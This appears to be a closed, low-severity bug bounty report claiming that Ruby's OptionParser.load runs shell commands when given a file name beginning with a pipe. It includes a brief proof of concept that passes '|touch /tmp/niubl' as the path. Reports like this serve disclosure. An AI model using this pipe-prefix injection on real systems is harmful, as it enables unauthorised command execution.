Command injection in OptionParser.load
Low
R
Ruby
Submitted None
Actions:
Reported by
piao
Vulnerability Details
Technical details and impact analysis
OptionParser.load function use IO.readlines to read file, which can inject `| command ` to exec command.
poc:
```
require 'optparse'
OptionParser.new do |opts|
opts.load("|touch /tmp/niubl")
end.parse!
```
## Impact
The command may be executed unintentionally.
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Command Injection - Generic